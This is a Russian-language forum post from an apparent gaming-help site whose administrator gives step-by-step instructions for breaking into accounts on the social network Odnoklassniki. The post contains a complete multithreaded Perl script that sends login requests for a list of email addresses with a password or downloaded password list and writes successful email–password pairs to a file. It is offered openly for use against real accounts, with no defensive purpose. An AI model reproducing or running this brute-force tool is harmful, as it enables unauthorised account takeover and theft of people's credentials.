Сайт помощи онлайн игрокам !
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: kkopai 
Форум » Онлайн Форум » Взлом Одноклассники » Сам Взлом (Взлом)
Сам Взлом
kkopaiДата: Четверг, 15.10.2009, 16:47 | Сообщение # 1
Велики Админ ( Великий игрок травы )
Группа: Администраторы
Сообщений: 65535
Репутация: 32767
Статус: Offline
ВЗЛОМ ОДНОКЛАССНИКИ РУ
********************************************
Буду без предесловий сразу к делу :-)
*******************************************
1. Скачивате программу Active Perl чем выше версия тем лучше
2. Создаёте отдельную папку а вней текстовый документ под названием brutforce в формате txt
3. копируете в этот текст документ :
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads = shift || 5 ; #Кол-во потоков
$pass = shift || 'qwerty' ; #pwd
$fname = 'good.txt' ; #Валидные
$ml = shift || 'emails.txt' ; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time = time;
$start = localtime;
print "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = new IO::Socket::INET
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";

my $data = "st.posted=set&st.email=$acc&st.password=$pass&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8";
my $len = length($data);
my $re = "POST http://w17.odnoklassniki.ru/cdk/st.cmd/login/tkn/5622 HTTP/1.1\nHost: w17.odnoklassniki.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://w17.odnoklassniki.ru \n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";

print $sock $re;
sysread ($sock, my $answ, 400);

if($answ =~ /userMain/)
{
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();

}


}

$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Found: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% >\r";
print "\r";
}

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

#©Kaimi
4. Заполняете поля с мылами и количеством потоков
5 Дальше грузите в туже папку http://kkopai.ucoz.ru/rus_eng.txt
6. Дальше там где pwd вместо qwerty вставляем вставляем rus_eng.txt ( название )
7. В нашем Бруте Тыкаем Сохранить Как там где название надо вписывать пишем brut.pl
8. Заходим в нашу папку запускаем программу ждём выполнения
9. После завершения работы в папке с брутом поевляеться Файл good.txt в нём пароль.
***********************************************************************************
УДАЧИ УНЫЕ ХАКЕРЫ

 
Форум » Онлайн Форум » Взлом Одноклассники » Сам Взлом (Взлом)
Страница 1 из 11
Поиск:

Copyright MyCorp © 2017